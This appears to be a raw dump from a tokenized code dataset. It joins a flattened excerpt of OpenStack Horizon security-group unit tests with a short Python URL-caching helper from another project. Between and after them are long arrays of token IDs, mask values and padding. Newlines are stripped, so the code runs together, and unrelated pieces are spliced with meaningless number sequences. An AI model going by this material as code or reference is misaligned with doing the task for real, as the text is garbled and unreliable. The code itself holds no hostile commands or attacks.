reverse('horizon:project:access_and_security:' 'security_groups:detail', args=[sec_group.id]) self.edit_url = reverse('horizon:project:access_and_security:' 'security_groups:add_rule', args=[sec_group.id]) def tearDown(self): self.security_groups = self._sec_groups_orig self.security_group_rules = self._sec_group_rules_orig super(SecurityGroupsNeutronTests, self).tearDown() def _get_source_group_rule(self): for rule in self.security_group_rules.list(): if rule.group: return rule raise Exception("No matches found.") # Additional tests for Neutron Security Group original features @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def test_detail_add_rule_custom_protocol(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self.security_group_rules.first() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create(IsA(http.HttpRequest), sec_group.id, 'ingress', 'IPv6', 37, None, None, 'fe80::/48', None).AndReturn(rule) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'rule_menu': 'custom', 'direction': 'ingress', 'port_or_range': 'port', 'ip_protocol': 37, 'cidr': 'fe80::/48', 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url) @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def test_detail_add_rule_egress(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self.security_group_rules.first() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create(IsA(http.HttpRequest), sec_group.id, 'egress', 'IPv4', 'udp', 80, 80, '10.1.1.0/24', None).AndReturn(rule) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'direction': 'egress', 'rule_menu': 'udp', 'port_or_range': 'port', 'port': 80, 'cidr': '10.1.1.0/24', 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url) @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def test_detail_add_rule_egress_with_all_tcp(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self.security_group_rules.list()[3] api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create(IsA(http.HttpRequest), sec_group.id, 'egress', 'IPv4', rule.ip_protocol, int(rule.from_port), int(rule.to_port), rule.ip_range['cidr'], None).AndReturn(rule) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'direction': 'egress', 'port_or_range': 'range', 'rule_menu': 'all_tcp', 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url) @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def test_detail_add_rule_source_group_with_direction_ethertype(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self._get_source_group_rule() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create( IsA(http.HttpRequest), sec_group.id, 'egress', # ethertype is empty for source_group of Nova Security Group 'IPv6', rule.ip_protocol, int(rule.from_port), int(rule.to_port), None, u'%s' % sec_group.id).AndReturn(rule) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'direction': 'egress', 'port_or_range': 'port', 'port': rule.from_port, 'rule_menu': rule.ip_protocol, 'cidr': '0.0.0.0/0', 'security_group': sec_group.id, 'remote': 'sg', 'ethertype': 'IPv6'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url)
apache-2.0
[ 3, 6695, 26, 20849, 29, 20, 20105, 29, 20, 25966, 29, 20, 199, 199, 3, 1898, 6029, 1910, 5703, 24230, 598, 27639, 465, 11159, 701, 314, 199, 3, 30660, 402, 314, 20548, 437, 281, 265, 3844, 7769, 436, 19326, 9516, 4633, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 1898, 6029, 653, 2871, 7586, 12, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 16004, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 492, 1455, 199, 199, 504, 18610, 492, 29719, 221, 327, 8151, 199, 199, 504, 13869, 63, 9743, 492, 2986, 199, 504, 13869, 63, 9743, 14, 396, 492, 10897, 465, 511, 199, 199, 504, 13869, 63, 9743, 14, 30424, 14, 1715, 14, 2732, 63, 460, 63, 4416, 3134, 272, 6391, 63, 2634, 492, 6716, 421, 199, 10215, 63, 2632, 275, 3837, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 26, 1080, 358, 199, 4254, 63, 8366, 63, 2632, 275, 3837, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 4881, 717, 283, 4416, 63, 2634, 26, 981, 358, 421, 199, 318, 6202, 63, 6116, 63, 1095, 8, 2302, 304, 272, 372, 5108, 14, 1294, 8, 1751, 14, 2864, 6613, 12, 413, 15786, 17, 61, 421, 199, 533, 13863, 10177, 2768, 2925, 8, 396, 14, 1746, 304, 272, 6513, 923, 63, 4620, 275, 283, 6765, 7, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 7676, 10177, 2768, 2925, 12, 291, 680, 5996, 342, 267, 6513, 63, 923, 275, 291, 14, 4416, 63, 2634, 14, 2246, 342, 267, 291, 14, 5506, 63, 633, 275, 3837, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 4881, 3303, 283, 4416, 63, 2634, 26, 5506, 297, 3303, 1249, 1524, 3321, 63, 923, 14, 344, 566, 267, 291, 14, 3773, 63, 633, 275, 3837, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 4881, 1816, 283, 4416, 63, 2634, 26, 525, 63, 2200, 297, 1816, 1249, 1524, 3321, 63, 923, 14, 344, 566, 339, 768, 396, 14, 981, 63, 8957, 2561, 1246, 14, 1200, 26, 661, 4416, 63, 923, 63, 2200, 63, 981, 297, 4228, 283, 4416, 63, 923, 63, 513, 297, 4228, 283, 4416, 63, 923, 63, 4620, 22220, 272, 347, 485, 525, 63, 4416, 63, 923, 63, 2200, 63, 5997, 8, 277, 12, 1011, 958, 304, 267, 6513, 63, 923, 275, 291, 14, 4416, 63, 2634, 14, 2246, 342, 267, 6513, 63, 923, 63, 513, 275, 291, 14, 4416, 63, 2634, 14, 513, 342, 267, 2332, 275, 291, 14, 4416, 63, 923, 63, 4423, 14, 2246, 342, 398, 2986, 14, 1200, 14, 4416, 63, 923, 63, 4620, 8, 288, 29719, 8, 1014, 14, 10441, 4992, 8572, 8, 277, 14, 3321, 923, 63, 4620, 9, 267, 2986, 14, 1200, 14, 4416, 63, 923, 63, 2200, 63, 981, 8, 288, 29719, 8, 1014, 14, 10441, 395, 288, 2074, 14, 362, 360, 3321, 63, 923, 297, 6513, 63, 923, 14, 344, 395, 288, 2074, 14, 362, 360, 24390, 297, 283, 24390, 659, 288, 2074, 14, 362, 360, 27732, 466, 297, 283, 12179, 20, 659, 288, 2074, 14, 362, 360, 711, 63, 3922, 297, 2332, 14, 711, 63, 3922, 395, 288, 2074, 14, 362, 360, 504, 63, 719, 297, 1109, 8, 2200, 14, 504, 63, 719, 1826, 288, 2074, 14, 362, 360, 475, 63, 719, 297, 1109, 8, 2200, 14, 475, 63, 719, 1826, 288, 2074, 14, 362, 360, 10509, 297, 2332, 14, 711, 63, 1842, 459, 10509, 3815, 288, 2074, 14, 362, 360, 4416, 63, 923, 297, 399, 5956, 83, 7, 450, 6513, 63, 923, 14, 344, 4992, 8572, 8, 2200, 9, 267, 2986, 14, 1200, 14, 4416, 63, 923, 63, 513, 8, 288, 29719, 8, 1014, 14, 10441, 4992, 8572, 8, 3321, 63, 923, 63, 513, 9, 267, 372, 6513, 63, 923, 12, 2332, 339, 768, 396, 14, 981, 63, 8957, 2561, 1246, 14, 1200, 26, 661, 4416, 63, 923, 63, 362, 9538, 1552, 272, 347, 511, 63, 873, 63, 4416, 63, 2634, 63, 362, 8, 277, 304, 267, 6513, 63, 923, 275, 291, 14, 4416, 63, 2634, 14, 2246, 342, 267, 2986, 14, 1200, 14, 4416, 63, 923, 63, 362, 8, 14104, 8, 1014, 14, 10441, 395, 3147, 6513, 63, 923, 14, 344, 680, 8572, 8, 3321, 63, 923, 9, 267, 291, 14, 6625, 14, 12982, 342, 398, 522, 275, 291, 14, 1258, 14, 362, 8, 4471, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 4881, 4228, 283, 4416, 63, 2634, 26, 873, 297, 4228, 1249, 1524, 3321, 63, 923, 14, 344, 2459, 267, 291, 14, 19661, 8, 470, 12, 355, 283, 1715, 15, 2732, 63, 460, 63, 4416, 15, 4416, 63, 2634, 15607, 873, 14, 1360, 358, 267, 291, 14, 629, 8, 470, 14, 1100, 459, 4416, 63, 923, 2278, 354, 12, 586, 6513, 63, 923, 14, 354, 9, 339, 768, 396, 14, 981, 63, 8957, 2561, 1246, 14, 1200, 26, 661, 4416, 63, 923, 63, 873, 297, 4228, 283, 4416, 63, 923, 63, 362, 22220, 272, 347, 511, 63, 873, 63, 4416, 63, 2634, 63, 1932, 8, 277, 304, 267, 6513, 63, 923, 275, 291, 14, 4416, 63, 2634, 14, 362, 8, 354, 628, 1848, 63, 923, 531, 267, 2986, 14, 1200, 14, 4416, 63, 923, 63, 873, 8, 14104, 8, 1014, 14, 10441, 395, 4318, 620 ]
[ 6695, 26, 20849, 29, 20, 20105, 29, 20, 25966, 29, 20, 199, 199, 3, 1898, 6029, 1910, 5703, 24230, 598, 27639, 465, 11159, 701, 314, 199, 3, 30660, 402, 314, 20548, 437, 281, 265, 3844, 7769, 436, 19326, 9516, 4633, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 1898, 6029, 653, 2871, 7586, 12, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 16004, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 492, 1455, 199, 199, 504, 18610, 492, 29719, 221, 327, 8151, 199, 199, 504, 13869, 63, 9743, 492, 2986, 199, 504, 13869, 63, 9743, 14, 396, 492, 10897, 465, 511, 199, 199, 504, 13869, 63, 9743, 14, 30424, 14, 1715, 14, 2732, 63, 460, 63, 4416, 3134, 272, 6391, 63, 2634, 492, 6716, 421, 199, 10215, 63, 2632, 275, 3837, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 26, 1080, 358, 199, 4254, 63, 8366, 63, 2632, 275, 3837, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 4881, 717, 283, 4416, 63, 2634, 26, 981, 358, 421, 199, 318, 6202, 63, 6116, 63, 1095, 8, 2302, 304, 272, 372, 5108, 14, 1294, 8, 1751, 14, 2864, 6613, 12, 413, 15786, 17, 61, 421, 199, 533, 13863, 10177, 2768, 2925, 8, 396, 14, 1746, 304, 272, 6513, 923, 63, 4620, 275, 283, 6765, 7, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 7676, 10177, 2768, 2925, 12, 291, 680, 5996, 342, 267, 6513, 63, 923, 275, 291, 14, 4416, 63, 2634, 14, 2246, 342, 267, 291, 14, 5506, 63, 633, 275, 3837, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 4881, 3303, 283, 4416, 63, 2634, 26, 5506, 297, 3303, 1249, 1524, 3321, 63, 923, 14, 344, 566, 267, 291, 14, 3773, 63, 633, 275, 3837, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 4881, 1816, 283, 4416, 63, 2634, 26, 525, 63, 2200, 297, 1816, 1249, 1524, 3321, 63, 923, 14, 344, 566, 339, 768, 396, 14, 981, 63, 8957, 2561, 1246, 14, 1200, 26, 661, 4416, 63, 923, 63, 2200, 63, 981, 297, 4228, 283, 4416, 63, 923, 63, 513, 297, 4228, 283, 4416, 63, 923, 63, 4620, 22220, 272, 347, 485, 525, 63, 4416, 63, 923, 63, 2200, 63, 5997, 8, 277, 12, 1011, 958, 304, 267, 6513, 63, 923, 275, 291, 14, 4416, 63, 2634, 14, 2246, 342, 267, 6513, 63, 923, 63, 513, 275, 291, 14, 4416, 63, 2634, 14, 513, 342, 267, 2332, 275, 291, 14, 4416, 63, 923, 63, 4423, 14, 2246, 342, 398, 2986, 14, 1200, 14, 4416, 63, 923, 63, 4620, 8, 288, 29719, 8, 1014, 14, 10441, 4992, 8572, 8, 277, 14, 3321, 923, 63, 4620, 9, 267, 2986, 14, 1200, 14, 4416, 63, 923, 63, 2200, 63, 981, 8, 288, 29719, 8, 1014, 14, 10441, 395, 288, 2074, 14, 362, 360, 3321, 63, 923, 297, 6513, 63, 923, 14, 344, 395, 288, 2074, 14, 362, 360, 24390, 297, 283, 24390, 659, 288, 2074, 14, 362, 360, 27732, 466, 297, 283, 12179, 20, 659, 288, 2074, 14, 362, 360, 711, 63, 3922, 297, 2332, 14, 711, 63, 3922, 395, 288, 2074, 14, 362, 360, 504, 63, 719, 297, 1109, 8, 2200, 14, 504, 63, 719, 1826, 288, 2074, 14, 362, 360, 475, 63, 719, 297, 1109, 8, 2200, 14, 475, 63, 719, 1826, 288, 2074, 14, 362, 360, 10509, 297, 2332, 14, 711, 63, 1842, 459, 10509, 3815, 288, 2074, 14, 362, 360, 4416, 63, 923, 297, 399, 5956, 83, 7, 450, 6513, 63, 923, 14, 344, 4992, 8572, 8, 2200, 9, 267, 2986, 14, 1200, 14, 4416, 63, 923, 63, 513, 8, 288, 29719, 8, 1014, 14, 10441, 4992, 8572, 8, 3321, 63, 923, 63, 513, 9, 267, 372, 6513, 63, 923, 12, 2332, 339, 768, 396, 14, 981, 63, 8957, 2561, 1246, 14, 1200, 26, 661, 4416, 63, 923, 63, 362, 9538, 1552, 272, 347, 511, 63, 873, 63, 4416, 63, 2634, 63, 362, 8, 277, 304, 267, 6513, 63, 923, 275, 291, 14, 4416, 63, 2634, 14, 2246, 342, 267, 2986, 14, 1200, 14, 4416, 63, 923, 63, 362, 8, 14104, 8, 1014, 14, 10441, 395, 3147, 6513, 63, 923, 14, 344, 680, 8572, 8, 3321, 63, 923, 9, 267, 291, 14, 6625, 14, 12982, 342, 398, 522, 275, 291, 14, 1258, 14, 362, 8, 4471, 360, 16561, 26, 1715, 26, 2732, 63, 460, 63, 4416, 4881, 4228, 283, 4416, 63, 2634, 26, 873, 297, 4228, 1249, 1524, 3321, 63, 923, 14, 344, 2459, 267, 291, 14, 19661, 8, 470, 12, 355, 283, 1715, 15, 2732, 63, 460, 63, 4416, 15, 4416, 63, 2634, 15607, 873, 14, 1360, 358, 267, 291, 14, 629, 8, 470, 14, 1100, 459, 4416, 63, 923, 2278, 354, 12, 586, 6513, 63, 923, 14, 354, 9, 339, 768, 396, 14, 981, 63, 8957, 2561, 1246, 14, 1200, 26, 661, 4416, 63, 923, 63, 873, 297, 4228, 283, 4416, 63, 923, 63, 362, 22220, 272, 347, 511, 63, 873, 63, 4416, 63, 2634, 63, 1932, 8, 277, 304, 267, 6513, 63, 923, 275, 291, 14, 4416, 63, 2634, 14, 362, 8, 354, 628, 1848, 63, 923, 531, 267, 2986, 14, 1200, 14, 4416, 63, 923, 63, 873, 8, 14104, 8, 1014, 14, 10441, 395, 4318, 620, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kansanmuisti/kamu
utils/http_cache.py
1
1334
# -*- coding: utf-8 -*- import os import urllib.request, urllib.error, urllib.parse import hashlib cache_dir = None def set_cache_dir(dir): global cache_dir cache_dir = dir def create_path_for_file(fname): dirname = os.path.dirname(fname) if not os.path.exists(dirname): os.makedirs(dirname) def get_fname(url, prefix): hash = hashlib.sha1(url.replace('/', '-')).hexdigest() fname = '%s/%s/%s' % (cache_dir, prefix, hash) return fname def open_url(url, prefix, skip_cache=False, error_ok=False, return_url=False): final_url = None fname = None if cache_dir and not skip_cache: fname = get_fname(url, prefix) if not fname or not os.access(fname, os.R_OK): opener = urllib.request.build_opener(urllib.request.HTTPHandler) opener.addheaders = [('User-agent', 'Mozilla/5.0')] try: f = opener.open(url) except urllib.error.URLError: if error_ok: return None raise s = f.read() final_url = f.geturl() if fname: create_path_for_file(fname) outf = open(fname, 'w') outf.write(s) outf.close() else: f = open(fname) s = f.read() f.close() if return_url: return s, final_url return s
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 747, 199, 646, 4011, 14, 1069, 12, 4011, 14, 705, 12, 4011, 14, 1122, 199, 646, 8337, 199, 199, 1637, 63, 694, 275, 488, 199, 199, 318, 663, 63, 1637, 63, 694, 8, 694, 304, 272, 2288, 2581, 63, 694, 272, 2581, 63, 694, 275, 2935, 199, 199, 318, 1218, 63, 515, 63, 509, 63, 493, 8, 5252, 304, 272, 9017, 275, 747, 14, 515, 14, 3475, 8, 5252, 9, 272, 340, 440, 747, 14, 515, 14, 2444, 8, 3475, 304, 267, 747, 14, 8347, 8, 3475, 9, 199, 199, 318, 664, 63, 5252, 8, 633, 12, 2403, 304, 272, 2631, 275, 8337, 14, 4835, 17, 8, 633, 14, 1814, 10998, 2475, 11103, 11453, 342, 272, 6748, 275, 1543, 83, 3149, 83, 3149, 83, 7, 450, 334, 1637, 63, 694, 12, 2403, 12, 2631, 9, 272, 372, 6748, 199, 199, 318, 1551, 63, 633, 8, 633, 12, 2403, 12, 3372, 63, 1637, 29, 797, 12, 1125, 63, 745, 29, 797, 12, 372, 63, 633, 29, 797, 304, 272, 4242, 63, 633, 275, 488, 272, 6748, 275, 488, 272, 340, 2581, 63, 694, 436, 440, 3372, 63, 1637, 26, 267, 6748, 275, 664, 63, 5252, 8, 633, 12, 2403, 9, 272, 340, 440, 6748, 503, 440, 747, 14, 2732, 8, 5252, 12, 747, 14, 50, 63, 3593, 304, 267, 16088, 275, 4011, 14, 1069, 14, 1506, 63, 11637, 8, 4078, 14, 1069, 14, 2856, 2461, 9, 267, 16088, 14, 525, 2139, 275, 4274, 1899, 13, 4054, 297, 283, 22285, 15, 21, 14, 16, 5440, 267, 862, 26, 288, 289, 275, 16088, 14, 1490, 8, 633, 9, 267, 871, 4011, 14, 705, 14, 31475, 26, 288, 340, 1125, 63, 745, 26, 355, 372, 488, 288, 746, 267, 308, 275, 289, 14, 739, 342, 267, 4242, 63, 633, 275, 289, 14, 32130, 342, 267, 340, 6748, 26, 288, 1218, 63, 515, 63, 509, 63, 493, 8, 5252, 9, 288, 27552, 275, 1551, 8, 5252, 12, 283, 87, 358, 288, 27552, 14, 952, 8, 83, 9, 288, 27552, 14, 1600, 342, 272, 587, 26, 267, 289, 275, 1551, 8, 5252, 9, 267, 308, 275, 289, 14, 739, 342, 272, 289, 14, 1600, 342, 272, 340, 372, 63, 633, 26, 267, 372, 308, 12, 4242, 63, 633, 272, 372, 308, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 747, 199, 646, 4011, 14, 1069, 12, 4011, 14, 705, 12, 4011, 14, 1122, 199, 646, 8337, 199, 199, 1637, 63, 694, 275, 488, 199, 199, 318, 663, 63, 1637, 63, 694, 8, 694, 304, 272, 2288, 2581, 63, 694, 272, 2581, 63, 694, 275, 2935, 199, 199, 318, 1218, 63, 515, 63, 509, 63, 493, 8, 5252, 304, 272, 9017, 275, 747, 14, 515, 14, 3475, 8, 5252, 9, 272, 340, 440, 747, 14, 515, 14, 2444, 8, 3475, 304, 267, 747, 14, 8347, 8, 3475, 9, 199, 199, 318, 664, 63, 5252, 8, 633, 12, 2403, 304, 272, 2631, 275, 8337, 14, 4835, 17, 8, 633, 14, 1814, 10998, 2475, 11103, 11453, 342, 272, 6748, 275, 1543, 83, 3149, 83, 3149, 83, 7, 450, 334, 1637, 63, 694, 12, 2403, 12, 2631, 9, 272, 372, 6748, 199, 199, 318, 1551, 63, 633, 8, 633, 12, 2403, 12, 3372, 63, 1637, 29, 797, 12, 1125, 63, 745, 29, 797, 12, 372, 63, 633, 29, 797, 304, 272, 4242, 63, 633, 275, 488, 272, 6748, 275, 488, 272, 340, 2581, 63, 694, 436, 440, 3372, 63, 1637, 26, 267, 6748, 275, 664, 63, 5252, 8, 633, 12, 2403, 9, 272, 340, 440, 6748, 503, 440, 747, 14, 2732, 8, 5252, 12, 747, 14, 50, 63, 3593, 304, 267, 16088, 275, 4011, 14, 1069, 14, 1506, 63, 11637, 8, 4078, 14, 1069, 14, 2856, 2461, 9, 267, 16088, 14, 525, 2139, 275, 4274, 1899, 